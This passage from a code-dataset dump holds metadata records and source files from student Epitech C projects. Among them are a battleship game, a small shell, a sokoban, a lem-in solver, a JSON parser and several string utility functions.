arg[t->pos + size] -= 32;\n t->pos += size;\n t->pos2++;\n }\n if (word[t->pos2] == arg[t->pos - size]) { arg[t->pos - size] -= 32;\n t->pos2++;\n t->pos -= size;\n }\n}\n\nint findword(char *word, int size, char *arg)\n{\n int count = my_strlen(word);\n int i = 1;\n var_t t = { 0 };\n\n while (arg[t.pos] != word[t.pos2])\n t.pos++;\n t.pos2++;\n while (i != count) {\n if (word[t.pos2] == arg[t.pos--]) { arg[t.pos--] -= 32;\n t.pos--;\n t.pos2++;\n }\n if (word[t.pos2] == arg[t.pos++]) { arg[t.pos++] -= 32; \n t.pos++;\n t.pos2++;\n }\n findword_scd(word, size, arg, &t);\n i++;\n }\n printf(\"%s\\n\", arg);\n}\n" }, { "alpha_fraction": 0.3304940462112427, "alphanum_fraction": 0.40715503692626953, "avg_line_length": 20.77777862548828, "blob_id": "008fa48a8c7a30b6afe4614acf5b317c4bbef393", "content_id": "91d855545b099c72d1ecbf86a6b0710f7225f564", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 587, "license_type": "no_license", "max_line_length": 78, "num_lines": 27, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/my_getnbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** my_getnbr.c\n*/\n\nint my_getnbr(char const *str)\n{\n long int nb = 0;\n int nbr = 0;\n int p = 0;\n\n while (str[p]) {\n if (nb == 0 && str[p] == '-')\n nbr = nb == 0 ? nbr + 1 : nbr;\n else if (nb != 0 && (str[p] < '0' || str[p] > '9'))\n break;\n else\n nb = (str[p] < '0' || str[p] > '9') ? nb : nb * 10 + str[p] - '0';\n p++;\n }\n nb = nbr % 2 == 1 ? -nb : nb;\n if (nb < -2147483647 || nb > 2147483647)\n return (0);\n return (nb);\n}" }, { "alpha_fraction": 0.4669950604438782, "alphanum_fraction": 0.5497536659240723, "avg_line_length": 17.796297073364258, "blob_id": "32b34c9788d20587e00ab16c0cc28bb0a377c374", "content_id": "b96df27602191efd280047746601d0ee5c913d1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1015, "license_type": "no_license", "max_line_length": 73, "num_lines": 54, "path": "/tek1/Game/MUL_my_defender_2019/lib/game/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2020\n## libgame\n## File description:\n## Makefile\n##\n\nSRC\t\t\t=\tmy_framebuffer.c\t\\\n\t\t\t\tmy_putpixel.c\t\\\n\t\t\t\tmy_create_sprite_from_file.c\t\\\n\t\t\t\tmy_create_window.c\t\\\n\t\t\t\tcreate_int_rect.c\t\\\n\t\t\t\tanimation.c\t\\\n\t\t\t\tanimation2.c\t\\\n\t\t\t\tentity.c\t\\\n\t\t\t\tsf_vectors.c\t\\\n\t\t\t\tgame_window.c\t\\\n\t\t\t\ttileset.c\t\\\n\t\t\t\tlayer.c\t\\\n\t\t\t\tparallax.c\t\\\n\t\t\t\tentity2.c\t\\\n\t\t\t\tentity3.c\t\\\n\t\t\t\tmap.c\t\\\n\t\t\t\thitbox.c\t\\\n\t\t\t\thitbox2.c\t\\\n\t\t\t\tdestroy.c\t\\\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+=\t-I../../include\n\nOBJ \t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tlibgame.a\n\n$(OBJDIR)%.o:\t%.c\n\t\t@$(CC) $(CFLAGS) -o $@ -c $<\n\t\t@if test -s $*.c; then \\\n\t\techo -e \"\\033[00m\\033[36m [LIBGAME]\\033[01m\\033[35m Compiling \\033[00m\\\n\t\t\\033[36m$(SRCPATH)$*.c\\033[032m [OK]\\033[00m\";\\\n\t\telse \\\n\t\techo -e \"\\033[00m\\033[36m [LIBGAME]\\033[01m\\033[35m Compiling \\033[00m\\\n\t\t\\033[36m$(SRCPATH)$*.c\\033[00m\\ [Error]\"; fi\n\nall: \t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\t@ar rc $(NAME) $(OBJ)\n\t\t@cp $(NAME) ../\n\nclean:\n\t@rm -f $(OBJ)\n\nfclean: clean\n\t@rm -f $(NAME) ../$(NAME)\n" }, { "alpha_fraction": 0.5607143044471741, "alphanum_fraction": 0.5857142806053162, "avg_line_length": 16.5625, "blob_id": "ae191680697ffa9fd99d3aabe017454089cd50de", "content_id": "a42f5ce869238361128a0a7a7f0c7bfd01dc7f7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 280, "license_type": "no_license", "max_line_length": 51, "num_lines": 16, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_str_startswith.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_str_startswith\n** File description:\n** my_str_startswith\n*/\n\n#include \"tools.h\"\n\nint my_str_startswith(char *haystack, char *needle)\n{\n for (int i = 0; needle[i]; i++)\n if (needle[i] != haystack[i])\n return 0;\n return 1;\n}" }, { "alpha_fraction": 0.6402116417884827, "alphanum_fraction": 0.682539701461792, "avg_line_length": 14.75, "blob_id": "24e48d4257256f39a89c9a24dc25f0177ad3168a", "content_id": "9b0e18012d52eaba626f3bac9f79eeff84ba5b73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 189, "license_type": "no_license", "max_line_length": 29, "num_lines": 12, "path": "/tek1/Game/MUL_my_hunter_20192/src/lib/my/player.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** MUL_my_hunter_2019\n** File description:\n** player position management\n*/\n\ntypedef struct playerpos_s\n{\n unsigned int x;\n unsigned int y;\n} playerpos_t;\n" }, { "alpha_fraction": 0.6236897110939026, "alphanum_fraction": 0.6383647918701172, "avg_line_length": 15.186440467834473, "blob_id": "2cb02b89fe62a1f5212c800d842edddc4eb7e033", "content_id": "cdce2de349626b15a14bb51441e90abb3776410f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 954, "license_type": "no_license", "max_line_length": 59, "num_lines": 59, "path": "/tek1/Functionnal/CPE_lemin_2019/include/lemin.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** CPE_lemin_2019\n** File description:\n** lemin\n*/\n\n#ifndef LEMIN_H_\n#define LEMIN_H_\n\n#include \"linked.h\"\n#include \"tools.h\"\n\n#define R_NORMAL 0\n#define R_START 1\n#define R_END 2\n\ntypedef struct lemin_data {\n int next_room;\n char *start_room;\n char *end_room;\n int ants_nb;\n dictionary_t *rooms;\n linked_list_t *tunnels;\n linked_list_t *ants;\n} lemin_data_t;\n\ntypedef struct room {\n char *name;\n vector2i_t coords;\n} room_t;\n\ntypedef struct path {\n char *room;\n int steps;\n} path_t;\n\ntypedef struct tunnel {\n room_t *room1;\n room_t *room2;\n} tunnel_t;\n\ntypedef struct ant {\n int nb;\n char *current_room;\n char *previous_room;\n} ant_t;\n\nint main(int ac, char **av, char **envp);\n\nint parse_line(lemin_data_t *data);\n\nint init_display(lemin_data_t *data);\n\nvoid create_ants(lemin_data_t *data);\n\nint next_room(int iter_nb, ant_t *ant, lemin_data_t *data);\n\n#endif /* !LEMIN_H_ */" }, { "alpha_fraction": 0.5271170139312744, "alphanum_fraction": 0.5623216032981873, "avg_line_length": 21.869565963745117, "blob_id": "59e9a3fc0e91c4ba09250f9a6df7b89f1214658b", "content_id": "ad955df89bd3a3515cf64f42024a305d99080644", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1051, "license_type": "no_license", "max_line_length": 79, "num_lines": 46, "path": "/tek1/Functionnal/CPE_matchstick_2019/src/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_matchstick_2019\n** File description:\n** main.c\n*/\n\n#include \"my.h\"\n#include \"match.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nint error_handling(char **argv, match_t *match, int ac)\n{\n if (ac <= 2 || my_getnbr(argv[1]) <= 1 || my_getnbr(argv[2]) <= 0) {\n my_putstr(\"error can't play with less 2 size/less than 2 arguments !\");\n return 84;\n }\n match->line = my_getnbr(argv[1]);\n\n return 0;\n}\n\nint main(int ac, char **argv)\n{\n match_t *match = malloc(sizeof(match));\n char **str;\n char *str2;\n\n if (error_handling(argv, match, ac) == 84)\n return 84;\n match->max = malloc(sizeof(int) * 1);\n match->max = my_getnbr(argv[2]);\n str = my_strtodouble(match);\n str2 = malloc(sizeof(char) * my_getnbr(argv[2]));\n match->turn = 0;\n startgame(str, match, str2);\n free(str);\n free(str2);\n if (match->win != 8 && match->pipe == 0) {\n my_putstr(\"You lost, too bad...\\n\");\n return 2;\n }\n if (match->pipe == 0) return 1;\n else return 0;\n}" }, { "alpha_fraction": 0.45114943385124207, "alphanum_fraction": 0.4985632300376892, "avg_line_length": 22.610170364379883, "blob_id": "efec563f1bd9a0e200bada441de13c0321205abc", "content_id": "124ef14e2dd6ac752d3267d3e02fd4e59867458d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1394, "license_type": "no_license", "max_line_length": 65, "num_lines": 59, "path": "/tek1/Advanced/PSU_navy_2019/sources/attack.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** attack.c\n*/\n\n#include \"navy.h\"\n\nvoid send_attack(char *attack, char **enemy_map)\n{\n int letter = attack[0] - 64;\n int number = attack[1] - 48;\n\n for (int i = letter; i != 0; i--)\n my_kill(SIGUSR1, receive[0]);\n for (int j = number; j != 0; j--)\n my_kill(SIGUSR2, receive[0]);\n my_kill(SIGUSR1, receive[0]);\n my_printf(\"%s: \", attack);\n if (result_attack() == 1)\n enemy_map[number - 1][letter * 2] = 'x';\n else\n enemy_map[number - 1][letter * 2] = 'o';\n receive[3] = 0;\n}\n\nint check_ennemy_attack(char **map)\n{\n int i = receive[2] - 1;\n int j = receive[1] * 2;\n\n if (map[i][j] == '2' || map[i][j] == '3'\n || map[i][j] == '4' || map[i][j] == '5') {\n map[i][j] = 'x';\n my_printf(\"%c%d: hit\\n\", receive[1] + 64, receive[2]);\n usleep(1600);\n my_kill(SIGUSR1, receive[0]);\n return 1;\n } else {\n map[i][j] = 'o';\n usleep(1600);\n my_printf(\"%c%d: missed\\n\", receive[1] + 64, receive[2]);\n my_kill(SIGUSR2, receive[0]);\n return 0;\n }\n}\n\nint receive_attack(char **map, int ships)\n{\n receive[1] = 0;\n receive[2] = 0;\n receive[3] = 0;\n my_printf(\"\\nwaiting for enemy’s attack...\\n\");\n get_coord();\n if (check_ennemy_attack(map) == 1)\n ships--;\n return ships;\n}" }, { "alpha_fraction": 0.4924924969673157, "alphanum_fraction": 0.5285285115242004, "avg_line_length": 14.904762268066406, "blob_id": "fc112b8b72279c1754aa55905cb871941125e979", "content_id": "21787b49517b80a475e8cb1184975207c9fa687d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 333, "license_type": "no_license", "max_line_length": 46, "num_lines": 21, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/my_revstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d01_2019\n** File description:\n** reverse_string.c\n*/\n\n#include \"phoenix.h\"\n\nchar * my_revstr(char *str)\n{\n int i = my_strlen(str) - 1;\n char dest[i];\n\n for (int t = 0; t < my_strlen(str); t++) {\n dest[t] = str[i];\n i--;\n }\n my_putstr(dest);\n return (dest);\n}" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.7214285731315613, "avg_line_length": 27, "blob_id": "b9440e07dc6abdbce4e5401608339f2e73b9ad6c", "content_id": "c6450aa6deb7487f7116f888538d33205fc2d393", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 140, "license_type": "no_license", "max_line_length": 52, "num_lines": 5, "path": "/tek1/Piscine/CPool_Day01_2019/prepare_my_repo.sh", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nblih -u [email protected] repository create $1\nblih -u [email protected] repository setacl $1 ramassage-tek r\nblih -u [email protected] repository getacl $1\n" }, { "alpha_fraction": 0.6441717743873596, "alphanum_fraction": 0.6543967127799988, "avg_line_length": 21.272727966308594, "blob_id": "314692eb69fd3d9d338c3778a42a8e4f01148c2e", "content_id": "472f69c420083363b513bce847ae5c1a3ef40e19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 489, "license_type": "no_license", "max_line_length": 63, "num_lines": 22, "path": "/tek1/Advanced/PSU_42sh_2019/lib/linked/list/ll_append.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_list\n** File description:\n** linked_list\n*/\n\n#include \"linked.h\"\n#include <stdlib.h>\n\nlinked_list_t *ll_append(linked_list_t *list, void *value)\n{\n linked_list_t *iterator = list;\n linked_list_t *new_element = malloc(sizeof(linked_list_t));\n\n new_element->data = value;\n new_element->next = 0;\n if (!iterator) return new_element;\n while (iterator->next) iterator = iterator->next;\n iterator->next = new_element;\n return list;\n}" }, { "alpha_fraction": 0.5545976758003235, "alphanum_fraction": 0.5617815852165222, "avg_line_length": 22.233333587646484, "blob_id": "6d4a1a2918e1783e1661a5a4d728b4ae89dc2580", "content_id": "cd3ff31ec74973993abe8b1b1f17b1e7b6805af8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 696, "license_type": "no_license", "max_line_length": 78, "num_lines": 30, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/linked/dict/dict_remove.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** dict_remove\n*/\n\n#include \"tools.h\"\n#include \"linked.h\"\n#include <stdlib.h>\n\ndictionary_t *dict_remove(dictionary_t *dict, char *index)\n{\n dictionary_t *temp = dict;\n dictionary_t *prev = 0;\n\n for (dictionary_t *iterator = dict; iterator; iterator = iterator->next) {\n if (!my_strcmp(iterator->index, index) && !prev) {\n temp = iterator->next;\n free(iterator);\n return temp;\n } else if (!my_strcmp(iterator->index, index)) {\n prev->next = iterator->next;\n free(iterator);\n return dict;\n }\n prev = iterator;\n }\n return temp;\n}" }, { "alpha_fraction": 0.44004690647125244, "alphanum_fraction": 0.45089417695999146, "avg_line_length": 30.592592239379883, "blob_id": "f6e69843c10a4c73f4199ebcb5b9fa5656a3b340", "content_id": "2c41c5dda31643f61498f6a27ec05d42a9340510", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3411, "license_type": "no_license", "max_line_length": 78, "num_lines": 108, "path": "/tek1/Advanced/PSU_my_sokoban_2019/sokoban.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_sokoban_2019\n** File description:\n** sokoban essential function to move\n*/\n\n#include <ncurses.h>\n#include \"pos.h\"\n\n\nvoid check_case(player_pos_t *play, int key, char *path)\n{\n switch (key) {\n case KEY_LEFT: if (path[play->y * play->max + play->x - 1] != '#') {\n path[play->y * play->max + play->x - 1] = 'X';\n path[play->y * play->max + play->x] = ' ';\n write_pos(play, key, path);\n } break;\n case KEY_RIGHT: if (path[play->y * play->max + play->x + 1] != '#') {\n path[play->y * play->max + play->x + 1] = 'X';\n path[play->y * play->max + play->x] = ' ';\n write_pos(play, key, path);\n } break;\n case KEY_DOWN: if (path[(play->y + 1) * play->max + play->x] != '#') {\n path[(play->y + 1) * play->max + play->x] = 'X';\n path[play->y * play->max + play->x] = ' ';\n write_pos(play, key, path);\n } break;\n case KEY_UP: if (path[(play->y - 1) * play->max + play->x] != '#') {\n path[(play->y - 1) * play->max + play->x] = 'X';\n path[play->y * play->max + play->x] = ' ';\n write_pos(play, key, path);\n } break;\n }\n}\n\nvoid write_pos(player_pos_t *player, int key, char *path)\n{\n player->p = player->y * player->max + player->x;\n if (path[player->y * player->max + player->x] != 'X') {\n switch (key) {\n case KEY_LEFT: path[player->y * player->max + player->x + 1] = ' ';\n path[player->y*player->max+player->x] = 'P';\n break;\n case KEY_RIGHT: path[player->y * player->max + player->x - 1] = ' ';\n path[player->y*player->max+player->x] = 'P';\n break;\n case KEY_DOWN: path[(player->y - 1) * player->max + player->x] = ' ';\n path[player->y*player->max+player->x] = 'P';\n break;\n case KEY_UP: path[(player->y + 1) * player->max + player->x] = ' ';\n path[player->y*player->max+player->x] = 'P';\n break;\n default:\n break;\n }\n }\n else if (path[player->p] == 'X')\n check_case(player, key, path);\n}\n\nvoid check_Ykey(char *path,player_pos_t *play, int key)\n{\n switch (key) {\n case KEY_LEFT: if (path[play->y * play->max + play->x - 1] != '#') {\n play->x = play->x - 1;\n write_pos(play, key, path);\n } break;\n case KEY_RIGHT: if (path[play->y * play->max+play->x + 1] != '#') {\n play->x = play->x + 1;\n write_pos(play, key, path);\n } break;\n case KEY_DOWN: if (path[(play->y + 1) * play->max+ play->x] != '#') {\n play->y = play->y + 1;\n write_pos(play, key, path);\n } break;\n case KEY_UP: if (path[(play->y - 1) * play->max + play->x] != '#') {\n play->y = play->y - 1;\n write_pos(play, key, path);\n } break;\n default:\n break;\n }\n}\n\nvoid start(player_pos_t *player, char *path)\n{\n int key;\n\n keypad(stdscr, TRUE);\n noecho();\n while (1) {\n mvprintw(0,0, path);\n key = getch();\n if (key == 27) {\n break;\n refresh();\n }\n if (key == 32) {\n move(0,0);\n pos_player(path);\n }\n move(player->y, player->x);\n check_Ykey(path, player, key);\n refresh();\n }\n}" }, { "alpha_fraction": 0.496886670589447, "alphanum_fraction": 0.5143212676048279, "avg_line_length": 22.647058486938477, "blob_id": "96a469851d849167ca3c2e2040e27611f8f45cac", "content_id": "a8522c5567bf452b6ef413da097af666213ce5ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 803, "license_type": "no_license", "max_line_length": 72, "num_lines": 34, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_parse_list.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_parse_list\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n#include \"stdlib.h\"\n\njson_object_t *json_parse_list(char **cursor)\n{\n json_object_t *obj = 0;\n json_object_t *new_obj;\n\n (*cursor)++;\n while ((*cursor)[0] != ']') {\n if ((*cursor)[0] == 0)\n return print_return(\"invalid json\\n\", 0);\n if ((*cursor)[0] == ',') {\n (*cursor)++;\n continue;\n }\n new_obj = malloc(sizeof(json_object_t));\n new_obj->index = \"\";\n new_obj->type = JSON_INVALID;\n new_obj->next = 0;\n if ((*cursor)[0] == 0) return print_return(\"invalid json\\n\", 0);\n obj = json_parse_append(obj, json_parse_value(cursor, new_obj));\n }\n (*cursor)++;\n return obj;\n}" }, { "alpha_fraction": 0.43237486481666565, "alphanum_fraction": 0.4675186276435852, "avg_line_length": 15.189655303955078, "blob_id": "cb09e6f61c58a6cec32164b8d50ea978e89d6270", "content_id": "3073913038742292b870b1fc4eb3124e3d3032e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 939, "license_type": "no_license", "max_line_length": 52, "num_lines": 58, "path": "/tek1/Piscine/CPool_Day12_2019/cat/cat.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** cat\n** File description:\n** cat by clement fleur\n*/\n\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <stdio.h>\n\nvoid check_letter(void)\n{\n char buffer[32768];\n int size = 1;\n\n while (size != 0) {\n size = read(0, buffer, 32); \n write(1, &buffer, size);\n }\n}\n\nint cat(int ac, char *av[])\n{\n int i = 1;\n int size;\n char buffer[32768];\n int fd;\n\n if (ac == 1)\n check_letter();\n while (av[i] != av[ac]) {\n fd = open(av[i], O_RDONLY|O_CREAT, S_IRWXU);\n if (fd == -1)\n return 1;\n size = 1;\n while (size != 0) {\n size = read(fd, buffer, 19);\n write(1, buffer, size);\n }\n i++;\n close(fd);\n }\n return 0;\n}\n\nint main(int ac, char *av[])\n{\n int i = 0;\n\n if (ac == 1)\n check_letter();\n else\n cat(ac, av);\n return 0;\n}\n" }, { "alpha_fraction": 0.5583756566047668, "alphanum_fraction": 0.5746192932128906, "avg_line_length": 16, "blob_id": "c5c4f15df484aadc480d04c475d64c50ecd6a116", "content_id": "b992e99a053cd14d67996dd35a8553c13fa9849f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 985, "license_type": "no_license", "max_line_length": 57, "num_lines": 58, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/exec.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_42sh_2019\n** File description:\n** exec.c\n*/\n\n#include \"shell.h\"\n#include <sys/wait.h>\n#include <unistd.h>\n#include <signal.h>\n#include <stdlib.h>\n\nvolatile __sig_atomic_t interrupt = 0;\n\nvoid signal_handler(int sig)\n{\n interrupt = 1;\n}\n\nvoid check_signal(int child)\n{\n if (interrupt) {\n kill(child, SIGINT);\n interrupt = 0;\n }\n}\n\nint wait_loop(int child)\n{\n int exit_status;\n int is_alive;\n\n while (1) {\n is_alive = waitpid(child, &exit_status, WNOHANG);\n if (is_alive == 0) {\n check_signal(child);\n } else\n return WEXITSTATUS(exit_status);\n }\n}\n\ncommand_return_t exec(command_t command)\n{\n int child;\n int return_value;\n pipes_t pipes;\n command_return_t ret;\n\n pipe(pipes.stdin);\n pipe(pipes.stdout);\n if ((child = fork())) {\n return parent_exec(command, pipes, child);\n } else {\n child_exec(command, pipes);\n exit(0);\n }\n}" }, { "alpha_fraction": 0.7078778743743896, "alphanum_fraction": 0.7150395512580872, "avg_line_length": 31.765432357788086, "blob_id": "60efc793c104a5dafdacaa8f003038e515a383c0", "content_id": "a0dc62300b3db47c20e803655bd131923c9a9a19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2653, "license_type": "no_license", "max_line_length": 82, "num_lines": 81, "path": "/tek1/Advanced/PSU_42sh_2019/include/shell.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_42sh_2019\n** File description:\n** shell\n*/\n\n#ifndef SHELL_H_\n#define SHELL_H_\n#include \"linked.h\"\n#include \"tools.h\"\n\n#define _XOPEN_SOURCE 700\n\n#define OPERATOR_NONE 0\n#define OPERATOR_OR 1\n#define OPERATOR_AND 2\n#define OPERATOR_NEWLINE 3\n\ntypedef struct pipe_param {\n int pipe_stdout;\n char *stdin;\n} pipe_param_t;\n\ntypedef struct pipes {\n int stdin[2];\n int stdout[2];\n} pipes_t;\n\ntypedef struct command {\n char *command;\n int argc;\n char **argv;\n dictionary_t **env;\n int pipe_stdout;\n char *stdin;\n} command_t;\n\ntypedef struct command_return {\n char *stdout;\n int return_value;\n} command_return_t;\n\nchar *get_command_line(void);\nint display_prompt(dictionary_t *env);\ncommand_return_t parse_input(char *command, dictionary_t **env_vars,\n dictionary_t *builtins);\ndictionary_t *env_init(char **envp);\ndictionary_t *env_set(dictionary_t *env_vars, char *index, char *value);\nchar **env_to_array(dictionary_t *env_vars);\ncommand_return_t builtin_cd(int argc, char **argv, dictionary_t **env_vars);\ncommand_return_t builtin_exit(int argc, char **argv, dictionary_t **env_vars);\ncommand_return_t builtin_echo(int argc, char **argv, dictionary_t **env);\ncommand_return_t builtin_env(int argc, char **argv, dictionary_t **env_vars);\ncommand_return_t builtin_setenv(int argc, char **argv, dictionary_t **env_vars);\ncommand_return_t builtin_unsetenv(int argc, char **argv, dictionary_t **env_vars);\ndictionary_t *builtin_init(void);\nint get_uid(char *username);\ncommand_return_t builtin_check(command_t command, dictionary_t *builtins);\nint get_path_line(char *path);\nchar **malloc_parsed_path(char **parsed_path, char *path);\nchar **parse_path(char *path);\nint check_folder(char *folder_path, char *binary);\nchar *check_existence(dictionary_t *env, char *binary_name);\ncommand_return_t check_command(command_t command);\ncommand_return_t exec(command_t command);\nvoid signal_handler(int sig);\ncommand_return_t parent_exec(command_t command, pipes_t pipes,\n int child_pid);\nvoid child_exec(command_t command, pipes_t pipes);\ncommand_return_t parse_pipes(char *command, dictionary_t **env_vars,\n dictionary_t *builtin);\ncommand_return_t parse_command(char *command, dictionary_t **env_vars,\n dictionary_t *builtins, pipe_param_t params);\nint display_history(int argc, char **argv, dictionary_t **env);\nint write_to_his(int argc, char **argv, dictionary_t **env ,const char *text);\nint create_alias(int argc, char **argv, dictionary_t **env ,const char *text);\nint display_aliases(int argc, char **argv, dictionary_t **env);\nint parcour_str(char *str);\n\n#endif /* !SHELL_H_ */" }, { "alpha_fraction": 0.5447570085525513, "alphanum_fraction": 0.5652173757553101, "avg_line_length": 21.042253494262695, "blob_id": "0ad006bb9aa2dbd4b50fb1334e1872b4be5192e2", "content_id": "899c71c9d3044d64e5befd3ef818f679d018ce11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1564, "license_type": "no_license", "max_line_length": 55, "num_lines": 71, "path": "/tek1/Advanced/PSU_navy_2019/sources/navy.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** navy.c\n*/\n\n#include \"navy.h\"\n\nint server_is_playing(char **map, char **enemy_map)\n{\n int static ships = 14;\n char *attack = NULL;\n\n attack = get_info_attack(enemy_map);\n send_attack(attack, enemy_map);\n if (receive_ping_game_end(map, enemy_map) == 1)\n return 1;\n ships = receive_attack(map, ships);\n if (send_ping_game_end(ships, map, enemy_map) == 1)\n return 1;\n free(attack);\n return 0;\n}\n\nint client_is_playing(char **map, char **enemy_map)\n{\n int static ships = 14;\n char *attack = NULL;\n\n ships = receive_attack(map, ships);\n if (send_ping_game_end(ships, map, enemy_map) == 1)\n return 1;\n attack = get_info_attack(enemy_map);\n send_attack(attack, enemy_map);\n if (receive_ping_game_end(map, enemy_map) == 1)\n return 1;\n free(attack);\n return 0;\n}\n\nint play_game(char **map, char **enemy_map, int user)\n{\n int result = 0;\n\n if (user == 1)\n result = server_is_playing(map, enemy_map);\n if (result == 1)\n return 1;\n if (user == 2)\n result = client_is_playing(map, enemy_map);\n if (result == 1)\n return 1;\n return 0;\n}\n\nint run_navy(char **map, char **pos, int user)\n{\n bool game = true;\n char **enemy_map = create_map(enemy_map);\n int i = 0;\n\n map = strategical_add(map, pos);\n while (game == true) {\n print_game(map, enemy_map);\n i = play_game(map, enemy_map, user);\n if (i != 0)\n game = false;\n }\n return i;\n}" }, { "alpha_fraction": 0.4663677215576172, "alphanum_fraction": 0.5022421479225159, "avg_line_length": 11.38888931274414, "blob_id": "323c42b91724befd5585958c3e07f1c17512f532", "content_id": "69af3b52788a6ba6d6b2da2eacfdb5560b7975c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 223, "license_type": "no_license", "max_line_length": 27, "num_lines": 18, "path": "/tek1/Piscine/CPool_Day03_2019/my_print_digits.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_print_digits\n** File description:\n** \n*/\n\nint my_print_digits(void)\n{\n int e;\n char digits;\n\n for (e = 48;e < 58;e++)\n {\n digits = e;\n my_putchar(digits);\n }\n}\n" }, { "alpha_fraction": 0.6350710988044739, "alphanum_fraction": 0.6587677597999573, "avg_line_length": 14.142857551574707, "blob_id": "a4743dcaeff2c1e89b8652745c623178aff509a2", "content_id": "9a56f3e9d4a6d0e89e2c1add99984c8c0196f987", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 211, "license_type": "no_license", "max_line_length": 41, "num_lines": 14, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_putstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_putstr\n** File description:\n** Displays the given string\n*/\n\n#include \"tools.h\"\n#include <unistd.h>\n\nint my_putstr(char const *str)\n{\n return write(1, str, my_strlen(str));\n}" }, { "alpha_fraction": 0.369602769613266, "alphanum_fraction": 0.4032815098762512, "avg_line_length": 18.644067764282227, "blob_id": "112d03aa1f38e384398e92d22de66304ce03fb30", "content_id": "6aa0995b32095c33b74af1bf9b1aae1f17be16b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1158, "license_type": "no_license", "max_line_length": 61, "num_lines": 59, "path": "/tek1/Advanced/PSU_navy_2019/sources/memory.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** memory.c\n*/\n\n#include \"navy.h\"\n\nvoid save_pos(char *buff, char ***pos)\n{\n int i = 0;\n int j = 0;\n\n (*pos) = malloc(sizeof(char *) * 5);\n for (int size = 0; i < 4; 